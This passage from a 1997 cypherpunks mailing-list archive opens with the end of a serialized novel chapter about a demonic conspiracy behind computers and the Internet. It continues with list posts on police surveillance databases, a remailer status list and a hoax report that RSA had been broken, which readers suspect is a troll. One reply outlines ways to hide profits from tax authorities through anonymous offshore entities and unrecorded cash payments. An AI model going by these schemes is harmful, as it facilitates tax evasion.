for the information to arrive.

Gomez did not relish thinking about what had to be
done if there was the slightest inkling the Cowboy might have
been telling the truth.
As much as he dreaded the notion, his only option at that point
would be to dismantle the InterNet and permanently 'terminate'
everyone involved in its operation. It made him sick to even think
about it. If TeleVision had been the regal crown in his Grand
Design, then the InterNet was the jewel in that crown. 


TeleVision had been one of Gomez's greatest inspirations.
It had come at a time when he was falling from favor with the
Evil One. So many times the Dark Council's plans had failed and
always-always-the Council had lain the blame at the feet of Gomez.

When Gomez saw the hypnotizing power of the 'Tube,
he instantly knew that it as the answer to finally enslaving the
minds of all mankind. His initial endeavors in using this medium
to manipulate men's minds were so overwhelmingly successful that
he gained back all of his previous power and more. Gomez no longer
had to answer to the Council of Darkness for his every action,
but only to report to them. 

The hand was his to play, and Gomez would use his
power well.

Gomez had moved quickly to consolidate his gains.
After blunting and capturing the minds of mankind though the power
of the media, his next priority was information. In the
past Gomez had been thwarted by the sheer number of humans involved,
as well as their being spread out into so many disparate groups
in terms of both their mental orientation and their physical distribution.

Television would be the tool used to change their
mind-set, breaking them into smaller and smaller factions and
then re-organizing them into larger, more cohesive units. The
problem, however, was that-even when a group-mind was achieved
that conformed to Gomez's requirements-the vast numbers of individuals
involved would result in an overwhelming accumulation of information
needed to track and control everyone and everything.

Gomez, in his brilliance, had recognized the required
capability in a new technological tool being used in a few specialized
areas of human society-the computer.  Gomez understood immediately
that the computer was the agent that would overcome the problems
that had plagued him in his previous plans for world domination.

His pitiful 'World Conquerors' were a joke. Every
time they came even remotely close to physically controlling a
majority of the masses everything would break down. Too many people,
too many languages, too many societies, too many religions. Too
many 'battle fronts' to manage and control.
Too much information to control...until now.

Gomez was a masterful tactician. He had immediately
maneuvered his lackeys into key positions throughout all areas
of the fledgling new industry. IBM, Sperry-Rand, MicroSoft, various
government and educational agencies.
Gomez had made certain that the main-frames would remain large,
expensive creatures, thus ensuring that their use would be confined
to the larger corporate, government, and societal organizations,
and giving him time to consolidate his behind-the-scene control
structures.
Gomez had made absolutely certain, that computers remained, in
the minds of the masses, tools for computation. Crunching numbers,
adding and subtracting, dividing and multiplying.

Anything that had to do with 'numbers', and nothing
to do with 'information'.

Gomez laughed until the tears rolled down his cheeks
at the sublime irony of it all. 

All his years of defeat during the centuries when
the world-it's countries, its cultures, its societies and its
people-was ruled by force. Era upon era when mankind was not only
ruled by the sword, and by the dictates of the powerful, but also
by their own mind's acceptance of this scheme of things.
Century upon century when the human mentality was oriented in
exactly the way that Gomez required-veneration and unquestioning
obedience of authority, acquiescence to their role of subservience
to those 'above' them.
Everything Gomez could hope for, and more, and he still could
not manage to bring them into unitary subordination under the
dominance of the Evil One.

Now, in an age when all his plans had gone askew-an
age when 'democracy' and 'freedom' had become 'king'-when the
masses had hitherto undreamed of access to information
and knowledge-now was the time when Gomez would
succeed in bringing the Grand Design to completion.


Gomez had moved his pawns into place slowly and cautiously,
placing them in positions that were low-key and had very little
public visibility.

The general public at that time had a basic fear
of-and antagonism towards-authority. What used to be the norm
was then reviled as fascism, totalitarianism, as dictatorship.
It was an age where 'individual rights' were esteemed and 'authority'
was denounced. 
So Gomez had made sure that computers remained basically 'number-crunchers'.
It was something that the masses considered not only non-threatening,
but ;boring; as well. He could move his own agents into place
in key positions and nobody noticed, nobody cared. 

'Computer geeks'-that's how his agents were regarded
in the mind of the average person. Uninteresting people doing
uninteresting things in a dull room somewhere within the bowels
of a huge, depersonalizing corporation. 'Fun and interesting'
had been the bywords of the day and anything less went unnoticed.

Gomez made sure that the information-gathering capabilities
of this new technology proceeded slowly, hardly being noticed,
and were brought into areas of application that dealt with the
mundane tasks that people were more than glad to be rid of and
that computers would thus be well received by the general populace.

Catalogue mailing labels...a wonderful application of the ability
of computers. It freed the workers of the drudgery involved in
the work, made production and delivery more efficient, less costly,
and thus more 'convenient' for their customers.

As Gomez moved computers towards the 'Information
Age', he did so in increments. The buzz words introduced were
benign words like 'number-crunching', 'data storage', 'labor-saving',
and the like. 
When any area of the industry began moving ahead of his long-term
plans then 'things happened'. An individual who devised some ground-breaking
new device would have an 'accident'. A corporation that was ready
to bring startling new capabilities to the industry would suffer
sudden 'reversals' and go bankrupt.

When Gomez finally deemed that society had sufficient
exposure to the technology to no longer feel threatened by it,
he allowed the development of the Personal Computer (PC) to proceed.


Gomez worked the birth and growth of PC's for use
by the masses like a fisherman works a fish when he's bringing
it in to shore. 
Set the hook...promise them everything they want, and more.
Productivity, efficiency, fun-the computer will do all
the work and you can sit back drinking champagne and eating caviar.

Reel them in...games-fun games. Get the youngsters involved.
The computer is a valuable educational tool, as well.

Not too much drag-let them take a little line when
they start fighting...Hey, computers are optional. Only if
you want one, only if you think it will make your life more 'convenient'.
No business, 'has' to have one, nobody 'has' to use them, it's
up to the individual.
Reel them in a little more...Your competition's using them,
do you really want to fall behind? Your friends got one for the
kids and they're doing better in school, don't you care
about your kids?


Gomez knew when he had reached the pivot-point, the
juncture where his whole plan would swing one way or another upon
it's axis.

Gomez had centered his activities around the United
States of America, the world-leader at the time, and also the
country that he knew would be the first to express disenchantment
with the new technology. The 'whiners' he called them, and they
were indeed the first to complain.

'Yuppies' was what they were called during the advent
of the computer era. Intelligent and prosperous, the creme-de-la-creme,
expecting the good life to be their God-given right and, oh yes,
they were so liberal and progressive...unless they didn't get
their own way.
"Computers are infringing on our freedom. We're losing our
individuality. We're becoming just another number in the system."

A 'good' fisherman can land his fish no matter how
hard they fight. He brings them in close to the boat and scoops
them up in the net.
Gomez was a 'great' fisherman. He got them to jump in the bloody
boat.

When the resistance to being 'dehumanized' started,
Gomez threw the ball to the Japanese, turning his eastern human
allies loose to surge ahead in technological development, leaving
the United States in the dust. He coordinated this surge with
a parallel onslaught of Japanese superiority in mechanical areas
such as home appliances and surface vehicles.
The results were almost instantaneous. Now, instead of decrying
the 'depersonalizing' impositions of the computer age, the populace
of the United States started 'demanding' that their leaders rebuff
this foreign assault on their position of dominance by dedicating
their efforts to regaining their God-given superiority in the
computer industry.

It never failed to amaze Gomez that his problem with
this 'democratic', 'educationally superior' group of self-righteous
'liberals' was not how to get them to succumb to the manipulations
he had devised to bring them into any communal mind-set he desired,
but rather, how to rein-in their ignominious little pea-brains
so that they wouldn't go off on totally new tangents six times
an hour under the influence of the 'ten second sound-byte' that
was the current fad in their society.

By the time that the masses were ready for computers,
Gomez's computers were ready for the masses.

Gomez made sure that the computer industry moved
in the direction of 'networking', the tying together of groups
of computers so that they formed a common link. How convenient.
The creatures could 'share' information between one another. Oh
yes, and 'sharing' meant developing 'standards' so that everything
would work together and be so much more 'convenient' for everybody.

And the silly creatures were exceedingly enamored
of themselves for being so intelligent, so efficient, so organized.
"Look what we can do now...we're so smart."

"No," Gomez thought to himself, "Look
what 'computers' can do now...'I'm' so smart."

Gomez had brought the 'Information Age' to fruition.
Information was power...and computers controlled the information.
 The more information one had, the more power one had. And the
wider the reach of their ability to gather and share information,
the more powerful and important these little creatures deemed
themselves to be.

"I've got the figures we needed. I pulled them
off the database server and ran them through a spreadsheet."

"I found a copy of the contract you wanted.
It was in one of the network files of a previous employee. Thank
heavens for backup tapes."

"I downloaded the tax tables from the government's
computer by modem. We have plenty of time to adjust our budget
for next year."

People were no longer anxious about information-gathering
infringing upon their 'personal space'-now they were anxious because
they couldn't access all the information, any time, anywhere,
at their slightest whim.

Gomez smiled. No problem. It was time to introduce
computer technology's step-child to the rank-and-file.


Welcome to the InterNet."


Chapter 22 - Welcome To The InterNet







From cypherpunks@MHonArc.venona  Wed Dec 17 23:17:14 2003
From: harka@nycmetro.com
Date: Sun, 30 Mar 1997 20:05:26 -0800 (PST)
To: cypherpunks@toad.com
Subject: Re: National Citizen-Unit
Message-ID: <TCPSMTP.17.3.30.-9.12.24.2780269260.1589628@nycmetro.com>
MIME-Version: 1.0
Content-Type: text/plain


-----BEGIN PGP SIGNED MESSAGE-----

 In> Governor's Budget Includes Money to Set Up Gang-Tracking
 In> Network

 In> [...]

 In> [A]s part of the governor's anti-gang proposals, he's
 In> proposing to spend $625,000 worth of state and federal money
 In> to set up a gang-tracking computer database and network.

 In> Four agents of the Tennessee Bureau of Investigation will be
 In> assigned to do nothing but gather and maintain information
 In> about gangs in the state's four regions.
<snip>

 In> Information on the database could include a picture, a
 In> description, the gang affiliation, criminal convictions,
 In> crimes that a person is suspected in, and possible
 In> nicknames.

 -=> Quoting In:bdolan@usit.net to Harka <=-

 In> The important thing to note is that - as I understand the
 In> description of the program -  a person does not have to commit a
 In> crime to be included in the database.  They just have to have
 In> contact with a person or group which is already in it.

This has been going on in Germany for several years now under the
name "Raster-Fahndung" (cross-reference-search). What it means is as
you write it: even mere contacts to suspected "terrorists,
gang-members, drug-dealers" etc. is enough, to get you flagged as
"suspected supporter of [see above]".
An example of how one could get into that was being presented by a
german civil liberties group:
Let's say, there is a non-permitted demonstration going on in City
A of "anarchic chaots" (the german term for ultra-left-wing
groups). The police installs street barriers around the city and
screens the drivers licences in search of potential demonstrators.
Bob drives up, shows his ID and happens to be believed by the police
man to be somehow affiliated with the demonstration. They might
search his car and will let him go after that, if nothing is found.
However, his name will be put in a central database as "suspected
supporter of unconstitutional groups".
That is enough to target his entire family and close friends with
possible surveillance etc., if the police (or actually the interior
intelligence agency "for the protection of the constitution")
chooses to. Bob will never know of that and although, he has nothing
to do with the demonstrators, his name will be in such a database as
a suspect.

That example shows, that the law can be (mis)used to almost
unlimited surveillance on pretty much everybody to the hearts extent
of the "law-enforcement" agencies. And guess what? They will.

Ciao

Harka

/*************************************************************/
/* This user supports FREE SPEECH ONLINE     ...more info at */
/* and PRIVATE ONLINE COMMUNICATIONS! -> http://www.epic.org */
/* E-mail: harka(at)nycmetro.com (PGP-encrypted mail pref'd) */
/* PGP public key available upon request.  [KeyID: 04174301] */
/* F-print: FD E4 F8 6D C1 6A 44 F5  28 9C 40 6E B8 94 78 E8 */
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/* May there be peace in this world, may all anger dissolve  */
/* and may all living beings find the way to happiness...    */
/*************************************************************/

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iQEVAgUBMz83nTltEBIEF0MBAQGNnwf8CL7L2pEY1Qfnfh+5D5LWwTb/DXWAr6+C
TJcsuBYA8MQ94tNhM7DDwBLlf60AKVgKJjh/BX6JEOWMrXLXewkDxNCj9PG1iDwV
bPXmEsI8ovX8EZJrNjFAhF7pG83bwHzD+23xpamx+9fYq6T2hHpZse7XEavYNBqv
0+8vJiCxsvuLn9q8CWng+KgNYmCk9JXJUj+8jUvJJHgbXt+Bkvech4mfL7cW7nvN
HPAMXalKWaWrcroJAnz/2bi2JlMovfVftU1u79CUrPi9rPMYJJAaD28VEfeCHd5T
e9WfTnu6F3C67CEZ0TCR+toQxLM5RgNej3mv69OiVyntNnmaPD9GeQ==
=1e2d
-----END PGP SIGNATURE-----


If encryption is outlawed, only outlaws will have encryption...






From cypherpunks@MHonArc.venona  Wed Dec 17 23:17:14 2003
From: nobody@huge.cajones.com (Huge Cajones Remailer)
Date: Mon, 31 Mar 1997 00:58:01 -0800 (PST)
To: cypherpunks@toad.com
Subject: National Citizen-Unit #22
Message-ID: <199703310858.AAA14407@fat.doobie.com>
MIME-Version: 1.0
Content-Type: text/plain



 
WebWorld 22





From cypherpunks@MHonArc.venona  Wed Dec 17 23:17:14 2003
From: Bill Stewart <stewarts@ix.netcom.com>
Date: Mon, 31 Mar 1997 02:15:06 -0800 (PST)
To: "James O'Toole" <otoole@LCS.MIT.EDU>
Subject: RE: Hard to Tax Scenario
In-Reply-To: <01BC3BDE.8901B420@slip-james.lcs.mit.edu>
Message-ID: <3.0.1.32.19970331021004.00629b58@popd.ix.netcom.com>
MIME-Version: 1.0
Content-Type: text/plain


At 12:23 AM 3/29/97 -0500, James O'Toole wrote:
>However, Ann has another alternative, which large organizations will also
have. 
>Ann can operate completely non-anonymously, but bleed profits out of her
business
>through the use of anonymized business partners who exist solely to assist 
>Ann in hiding her profits.  Crypto might make this scheme more foolproof
for Ann, 
>by enabling her to anonymously own and operate a network of covert
subsidiaries 
>that she does business with openly, and which collect most of her profits,
> but which themselves are for some reason not vulnerable to the tax
authority.

For instance, patients using Ann's services pay their money to
Alice's Anguillan Health Care Clinic, Ltd., which just happens to 
have a branch employing Ann at some vaguely plausible salary.
Either her salary is enough to keep the IRS relatively non-suspicious,
which works even if Alice's Clinic gets paid by government-regulated
insurance plans, at the cost of some taxes, or she's paid piece-rates 
(perhaps below market, or perhaps cash patients don't always get recorded.)
Perhaps Sister Ann has taken a vow of poverty and the IRS believes her?*
Perhaps Ann's rent is paid to a company that's really owned by Alice's?
Does Ann really own Alice's Clinic?  Most of this is standard non-crypto
tax avoidance stuff, but digicash and encrypted records and communications
make it a bit more private and convenient.

Also, there _is_ a business for cash-paying customers, who may choose
to retain their anonymity, either taking their medical records with them
on smartcards, or being treated under aliases - poor people who don't
have insurance, non-insured privacy enthusiasts, people worried about
socially awkward diseases, people with gunshot wounds they don't want to
explain
to the authorities, etc.  

[*OK, they're more likely to believe her if Alice's Clinic charges
substantially below-market rates than if she's charging full price,
but the under-the-table clients can help with that problem.]

#			Thanks;  Bill
# Bill Stewart, +1-415-442-2215 stewarts@ix.netcom.com
# You can get PGP outside the US at ftp.ox.ac.uk/pub/crypto/pgp
#     (If this is a mailing list, please Cc: me on replies.  Thanks.)





From cypherpunks@MHonArc.venona  Wed Dec 17 23:17:14 2003
From: Toto <toto@sk.sympatico.ca>
Date: Mon, 31 Mar 1997 00:56:47 -0800 (PST)
To: cypherpunks@toad.com
Subject: Re: National Citizen-Unit
In-Reply-To: <TCPSMTP.17.3.30.-9.12.24.2780269260.1589628@nycmetro.com>
Message-ID: <333F7949.EB0@sk.sympatico.ca>
MIME-Version: 1.0
Content-Type: text/plain


harka@nycmetro.com wrote:

>  In> Governor's Budget Includes Money to Set Up Gang-Tracking
>  In> Network

>  In> [A]s part of the governor's anti-gang proposals, he's
>  In> proposing to spend $625,000 worth of state and federal money
>  In> to set up a gang-tracking computer database and network.

   Are they going to start with members of the legislature and law
enforcement agencies? (Might as well clear out the worst of the
bunch first.)

>  In> Four agents of the Tennessee Bureau of Investigation will be
>  In> assigned to do nothing but gather and maintain information
>  In> about gangs in the state's four regions.

  This plan was intially supposed to be introduced in Oakland, but
its designers soon realized that, outside of CIA operations, there
was very little criminal activity in the area.

>  -=> Quoting In:bdolan@usit.net to Harka <=-
>
>  In> The important thing to note is that - as I understand the
>  In> description of the program -  a person does not have to commit a
>  In> crime to be included in the database.  They just have to have
>  In> contact with a person or group which is already in it.

  This should put law enforcement officers at the top of the list.
  Theoretically, in order not to be included in the database, cops
would have to avoid all contact with criminals. (I think I'm starting
to like this idea!)

> This has been going on in Germany for several years now under the
> name "Raster-Fahndung" (cross-reference-search). What it means is as
> you write it: even mere contacts to suspected "terrorists,
> gang-members, drug-dealers" etc. is enough, to get you flagged as
> "suspected supporter of [see above]".

  I suppose they can merge in the voter registration database, for
starters, and round up all those supporters of the thugs on Capitol
Hill. (Even those who voted for the losers are guilty of 'attempted
commission of a crime', even if Donald, Mickey and Goofey entered
the fray with the best of intentions.)
--
Toto
"The Xenix Chainsaw Massacre"
http://bureau42.base.org/public/xenix/xenbody.html






From cypherpunks@MHonArc.venona  Wed Dec 17 23:17:14 2003
From: nobody@huge.cajones.com (Huge Cajones Remailer)
Date: Mon, 31 Mar 1997 06:28:00 -0800 (PST)
To: cypherpunks@toad.com
Subject: rot13 Encoder/Decoder
Message-ID: <199703311428.GAA19872@fat.doobie.com>
MIME-Version: 1.0
Content-Type: text/plain


http://otto.cmr.fsu.edu/~davis_t/rot13.cgi




From cypherpunks@MHonArc.venona  Wed Dec 17 23:17:14 2003
From: nobody@huge.cajones.com (Huge Cajones Remailer)
Date: Mon, 31 Mar 1997 06:28:05 -0800 (PST)
To: cypherpunks@toad.com
Subject: Privacy? Not in Canada!
Message-ID: <199703311428.GAA19876@fat.doobie.com>
MIME-Version: 1.0
Content-Type: text/plain


From: ag434@freenet.hamilton.on.ca (David Buchanan)
Newsgroups: alt.security.pgp,talk.politics.crypto
Subject: Re: If you want privacy, don't come to Canada!
Date: 30 Mar 1997 22:26:41 -0500
Organization: Hamilton-Wentworth FreeNet, Ontario, Canada.

CRIMINALS WON'T BE THE ONLY TARGETS

Criminals won't be the only targets if strong non-escrowed encryption is
outlawed although criminals provide a convenient excuse for governments
seeking to extend their power over their own citizens.

Even in Canada, a nation which can hardly be described as a police state,
there is good reason to fear the security and intelligence apparatus will be
used by the government against its legitimate and law-abiding political
opponents.  Let me give you two examples.

1) BUREAUCRAT'S "LET'S GET HIM" MEMO

Within the last couple of weeks, the Canadian public learned from news
reports about a meno written by a top level federal bureaucrat in which he
complained about the activities of a private citizen and suggested that his
fellow government officials should "take a look at this guy."  

The private citizen was a law-abiding, former military officer whose freedom
of information requests had exposed mismanagement and corruption in the
government.  This memo was particularly chilling because the recipients
included officials of the tax department and the Canadian Security and
Intelligence Service (CISIS) -- two agencies well suited to bringing pressure
to bear on private citizens.  Although the bureaucrat was caught in the act
this time, it is quite disturbing that a senior civil servant believes such a
memo to be normal and acceptable.

2) NEO-NAZI PLANTED IN OPPOSITION PARTY

During the last Canadian federal election, the ruling Progressive
Conservative Party (PCs) was losing voters to the Reform Party, a moderate,
small "c" conservative party based in Western Canada.  The PC's campaign
strategy was to accuse Reform of being "extremists" or "racists."

About the only evidence of this that the PCs were able to produce was the
founder and leader of a small neo-nazi style group who had attempted to
infiltrate the Reform Party with little success.  

Subsequently the public learned that the neo-nazi was actually a paid agent
of the Canadian Security and Intelligence Service (CISIS), an agency
ultimately controlled by the Progressive Conservative government.

There have been the expected denials from CISIS but the most plausible
interpretation of these events is that the Progressive Conservative
government tried to sabotage the electoral chances of the Reform Party by
planting a neo-nazi on its fringes.  

CISIS is one of the government agencies that definitely would have access to
all of the material obtained from the proposed key escrow or key recovery
type systems.

WHY HONEST CITIZENS SHOULD BE WORRIED

The increasing use of email and other data telecommunications will greatly
expand the amount of private and personal information on private citizens
that governments can collect, archive, and sift through whenever they need
weapons to use against their legitimate political opponents.  This
information can be collected very cheaply and used in ways that are difficult
for the government's victims to counter or even detect.  

For example, a simple telephone call to a cooperative bank official just
before the a target attempts to renew a line of credit for his business.  The
only effective way to prevent this is with the wide availability and use of
strong non-escrowed, non-key-recovery encryption.

As for those trusting souls out there who still believe they have nothing to
hide, ask yourself this question:  

   Would you be willing to email carbon copies of all your email messages 
   and online data transmissions to one of your political opponents?  

If secure encryption is banned, this is exactly what you will be doing and
you had better be prepared to agree with everything the government does on
every issue or take the consequences!

DB
--




From cypherpunks@MHonArc.venona  Wed Dec 17 23:17:14 2003
From: Raph Levien <raph@CS.Berkeley.EDU>
Date: Mon, 31 Mar 1997 06:50:29 -0800 (PST)
To: cypherpunks@toad.com
Subject: List of reliable remailers
Message-ID: <199703311450.GAA29750@kiwi.cs.berkeley.edu>
MIME-Version: 1.0
Content-Type: text/plain


   I operate a remailer pinging service which collects detailed
information about remailer features and reliability.

   To use it, just finger remailer-list@kiwi.cs.berkeley.edu

   There is also a Web version of the same information, plus lots of
interesting links to remailer-related resources, at:
http://www.cs.berkeley.edu/~raph/remailer-list.html

   This information is used by premail, a remailer chaining and PGP
encrypting client for outgoing mail. For more information, see:
http://www.c2.org/~raph/premail.html

   For the PGP public keys of the remailers, finger
pgpkeys@kiwi.cs.berkeley.edu

This is the current info:

                                 REMAILER LIST

   This is an automatically generated listing of remailers. The first
   part of the listing shows the remailers along with configuration
   options and special features for each of the remailers. The second
   part shows the 12-day history, and average latency and uptime for each
   remailer. You can also get this list by fingering
   remailer-list@kiwi.cs.berkeley.edu.

$remailer{"extropia"} = "<remail@miron.vip.best.com> cpunk pgp special";
$remailer{"mix"} = "<mixmaster@remail.obscura.com> cpunk mix pgp hash latent cut ek ksub reord ?";
$remailer{"replay"} = "<remailer@replay.com> cpunk mix pgp hash latent cut post ek";
$remailer{"exon"} = "<remailer@remailer.nl.com> cpunk pgp hash latent cut ek";
$remailer{"haystack"} = "<haystack@holy.cow.net> cpunk mix pgp hash latent cut ek";
$remailer{"lucifer"} = "<lucifer@dhp.com> cpunk mix pgp hash latent cut ek";
$remailer{"jam"} = "<remailer@cypherpunks.ca> cpunk mix pgp hash middle latent cut ek";
$remailer{"winsock"} = "<winsock@rigel.cyberpass.net> cpunk pgp pgponly hash cut ksub reord";
$remailer{'nym'} = '<config@nym.alias.net> newnym pgp';
$remailer{"balls"} = "<remailer@huge.cajones.com> cpunk pgp hash latent cut ek";
$remailer{"squirrel"} = "<mix@squirrel.owl.de> cpunk mix pgp pgponly hash latent cut ek";
$remailer{"middle"} = "<middleman@jpunix.com> cpunk mix pgp hash latent cut ek reord";
$remailer{'cyber'} = '<alias@alias.cyberpass.net> alpha pgp';
$remailer{"dustbin"} = "<dustman@athensnet.com> cpunk pgp hash latent cut ek mix reord middle";
$remailer{'weasel'} = '<config@weasel.owl.de> newnym pgp';
$remailer{"reno"} = "<middleman@cyberpass.net> cpunk mix pgp hash middle latent cut ek reord ?";
$remailer{"wazoo"} = "<remailer@wazoo.com> cpunk mix pgp hash latent cut ek";
$remailer{"shaman"} = "<remailer@lycaeum.org> cpunk pgp hash latent cut ek";
$remailer{"hidden"} = "<remailer@hidden.net> cpunk pgp hash latent cut";
catalyst@netcom.com is _not_ a remailer.
lmccarth@ducie.cs.umass.edu is _not_ a remailer.
usura@replay.com is _not_ a remailer.
remailer@crynwr.com is _not_ a remailer.

There is no remailer at relay.com.

Groups of remailers sharing a machine or operator:
(cyber mix)
(weasel squirrel)

The alpha and nymrod nymservers are down due to abuse. However, you
can use the nym or weasel (newnym style) nymservers.

The cyber nymserver is quite reliable for outgoing mail (which is
what's measured here), but is exhibiting serious reliability problems
for incoming mail.

The squirrel and winsock remailers accept PGP encrypted mail only.

403 Permission denied errors have been caused by a flaky disk on the
Berkeley WWW server. This seems to be fixed now.

The penet remailer is closed.

Last update: Mon 31 Mar 97 6:49:14 PST
remailer  email address                        history  latency  uptime
-----------------------------------------------------------------------
hidden   remailer@hidden.net              **######.###    51:35  99.99%
lucifer  lucifer@dhp.com                  ++++++++++++    36:24  99.98%
cyber    alias@alias.cyberpass.net        *+**+++*+++*    38:16  99.91%
weasel   config@weasel.owl.de             ++--++-++++   2:21:10  99.89%
replay   remailer@replay.com              **-**-+*-+-*  1:32:14  99.81%
balls    remailer@huge.cajones.com        ###+*##* +##     2:27  99.73%
squirrel mix@squirrel.owl.de              ++--++-++++   2:44:37  99.58%
dustbin  dustman@athensnet.com            + ++ +-++ +     49:04  99.35%
exon     remailer@remailer.nl.com         #*+# +##* **     4:34  99.25%
reno     middleman@cyberpass.net            +-++ +.-+-    50:50  98.87%
winsock  winsock@rigel.cyberpass.net      -----+---- -  3:56:33  98.65%
jam      remailer@cypherpunks.ca           * ** **   *    11:13  98.54%
extropia remail@miron.vip.best.com        ___.._.-.-   27:38:30  96.60%
mix      mixmaster@remail.obscura.com     ___.+_.-*    33:58:31  94.45%
shaman   remailer@lycaeum.org             ++-++-+   -+    28:03  86.87%
nym      config@nym.alias.net             ***#**-#-#      13:11  80.62%
haystack haystack@holy.cow.net                            52:19  -4.36%
middle   middleman@jpunix.com             +               35:43   2.13%

   History key
     * # response in less than 5 minutes.
     * * response in less than 1 hour.
     * + response in less than 4 hours.
     * - response in less than 24 hours.
     * . response in more than 1 day.
     * _ response came back too late (more than 2 days).

   cpunk
          A major class of remailers. Supports Request-Remailing-To:
          field.
          
   eric
          A variant of the cpunk style. Uses Anon-Send-To: instead.
          
   penet
          The third class of remailers (at least for right now). Uses
          X-Anon-To: in the header.
          
   pgp
          Remailer supports encryption with PGP. A period after the
          keyword means that the short name, rather than the full email
          address, should be used as the encryption key ID.
          
   hash
          Supports ## pasting, so anything can be put into the headers of
          outgoing messages.
          
   ksub
          Remailer always kills subject header, even in non-pgp mode.
          
   nsub
          Remailer always preserves subject header, even in pgp mode.
          
   latent
          Supports Matt Ghio's Latent-Time: option.
          
   cut
          Supports Matt Ghio's Cutmarks: option.
          
   post
          Post to Usenet using Post-To: or Anon-Post-To: header.
          
   ek
          Encrypt responses in reply blocks using Encrypt-Key: header.
          
   special
          Accepts only pgp encrypted messages.
          
   mix
          Can accept messages in Mixmaster format.
          
   reord
          Attempts to foil traffic analysis by reordering messages. Note:
          I'm relying on the word of the remailer operator here, and
          haven't verified the reord info myself.

   mon
          Remailer has been known to monitor contents of private email.
          
   filter
          Remailer has been known to filter messages based on content. If
          not listed in conjunction with mon, then only messages destined
          for public forums are subject to filtering.
          

Raph Levien




From cypherpunks@MHonArc.venona  Wed Dec 17 23:17:14 2003
From: Adam Shostack <adam@homeport.org>
Date: Mon, 31 Mar 1997 06:49:51 -0800 (PST)
To: nobody@huge.cajones.com (Huge Cajones Remailer)
Subject: Re: Privacy? Not in Canada!
In-Reply-To: <199703311428.GAA19876@fat.doobie.com>
Message-ID: <199703311446.JAA06398@homeport.org>
MIME-Version: 1.0
Content-Type: text/plain


	The Canadian privacy commissioner usually sends several people
to the CFP conference each year.  I've had good conversations with
them, and would be very suprised to see them as anything other than
opponents of this measure.

	Canadians might want to get in touch with them to voice
concern.

Adam


| CRIMINALS WON'T BE THE ONLY TARGETS
| 
| Criminals won't be the only targets if strong non-escrowed encryption is
| outlawed although criminals provide a convenient excuse for governments
| seeking to extend their power over their own citizens.

-- 
"It is seldom that liberty of any kind is lost all at once."
					               -Hume






From cypherpunks@MHonArc.venona  Wed Dec 17 23:17:14 2003
From: lucifer@dhp.com (lucifer Anonymous Remailer)
Date: Mon, 31 Mar 1997 07:38:38 -0800 (PST)
To: cypherpunks@toad.com
Subject: Stego Question
Message-ID: <199703311538.KAA10639@dhp.com>
MIME-Version: 1.0
Content-Type: text/plain



Stego Question:
  How many bodies does it take to spell,
"I _told_ you I was crazy!"





From cypherpunks@MHonArc.venona  Wed Dec 17 23:17:14 2003
From: Toto <toto@sk.sympatico.ca>
Date: Mon, 31 Mar 1997 08:40:57 -0800 (PST)
To: cypherpunks@toad.com
Subject: Re: PRESS REPORT - IMPORTANT
In-Reply-To: <199703311545.HAA24446@fat.doobie.com>
Message-ID: <333FE96F.5D95@sk.sympatico.ca>
MIME-Version: 1.0
Content-Type: text/plain


Huge Cajones Remailer wrote:
> 
>         Anonymous writes:
> >
> > ***  London Times, 30/03/1997   ***
> >
> > >Factoring problem broken:
> > >
> > >One of the main systems used by computer privacy
> > >programs around the world such as those used on
> > >the internet to prevent third parties eavesdropping
> > >on credit card transactions has been proven insecure,
> > >The RSA algorithm, based on the difficulty of "factoring"
> > >large numbers appears to have a weakness, a press
> > >release by the IACR (International Association for cryptologic
> > >research) reads as follows:
> 
> A little early for April Fools'.  "Sergei Ripov" indeed.

  I did a search through the online edition for anything to do with
encryption, RSA, algorithms, etc., and nothing came up for the last
few months.
  Maybe it's in the April 1st edition.

-- 
Toto
"The Xenix Chainsaw Massacre"
http://bureau42.base.org/public/xenix/xenbody.html





From cypherpunks@MHonArc.venona  Wed Dec 17 23:17:14 2003
From: Ray Arachelian <sunder@brainlink.com>
Date: Mon, 31 Mar 1997 08:03:00 -0800 (PST)
To: cypherpunks <cypherpunks@toad.com
Subject: Re: PRESS REPORT - IMPORTANT?????
In-Reply-To: <199703310825.KAA13268@spoof.bart.nl>
Message-ID: <Pine.SUN.3.91.970331110509.18046C-100000@beast.brainlink.com>
MIME-Version: 1.0
Content-Type: text/plain


Is this for real or a troll???

On Mon, 31 Mar 1997, Anonymous wrote:

> ***  London Times, 30/03/1997   ***
> 
> >Factoring problem broken:
> >
> >One of the main systems used by computer privacy
> >programs around the world such as those used on
> >the internet to prevent third parties eavesdropping
> >on credit card transactions has been proven insecure,
> >The RSA algorithm, based on the difficulty of "factoring"
> >large numbers appears to have a weakness, a press 
> >release by the IACR (International Association for cryptologic 
> >research) reads as follows:
> 
> >"Leading researcher Ari Lenstra last night announced major 
> >progress had been made towards a solution to the factoring
> >problem, a result obtained by Sergei Ripov, researcher at
> >an obscure university in the former Soviet union, shows
> >conclusively that there exists a solution to the problem 
> >that is of polynomial time complexity, although this solution
> >has yet to be found this signals the beginning of the end for
> >a number of cryptosystems based on this problem, please note
> >a trivial solution to factoring also suggests a trivial solution
> >to the ECDLP and therefore a number of other systems such as
> >Diffie-Hellman and the El-Gamal group of cryptosystems should
> >be considered insecure"
> >
> >We were unable to contact the IACR for futher information.
> >The leading internet products company Netscape refused to
> >comment saying only "We regularly review data security
> >issues concerning all of our products".
> 
> 

=====================================Kaos=Keraunos=Kybernetos==============
.+.^.+.|  Ray Arachelian    | "If  you're  gonna die,  die  with your|./|\.
..\|/..|sunder@sundernet.com|boots on;  If you're  gonna  try,  just |/\|/\
<--*-->| ------------------ |stick around; Gonna cry? Just move along|\/|\/
../|\..| "A toast to Odin,  |you're gonna die, you're gonna die!"    |.\|/.
.+.v.+.|God of screwdrivers"|  --Iron Maiden "Die With Your Boots on"|.....
======================== http://www.sundernet.com =========================
  For with those which eternal lie, with strange eons even death may die.






From cypherpunks@MHonArc.venona  Wed Dec 17 23:17:14 2003
From: Ray Arachelian <sunder@brainlink.com>
Date: Mon, 31 Mar 1997 08:09:18 -0800 (PST)
To: Declan McCullagh <declan@well.com>
Subject: Re: heavensgate.com?
In-Reply-To: <v0300780eaf607dc93069@[168.161.105.191]>
Message-ID: <Pine.SUN.3.91.970331111028.18046D-100000@beast.brainlink.com>
MIME-Version: 1.0
Content-Type: text/plain


On Thu, 27 Mar 1997, Declan McCullagh wrote:

> Does anyone have a copy of the heavensgate.com web pages?
> 
> I've found a couple mirrors of Higher Source already.
> 
> (If you don't know what I'm talking about, look at
> http://www.yahoo.com/headlines/970327/news/stories/suicides_7.html)
> 
> If you want to send something anonymously, finger -l declan@eff.org for my
> PGP public key.

The original (for higher source) is still at www.cris.com/~Font

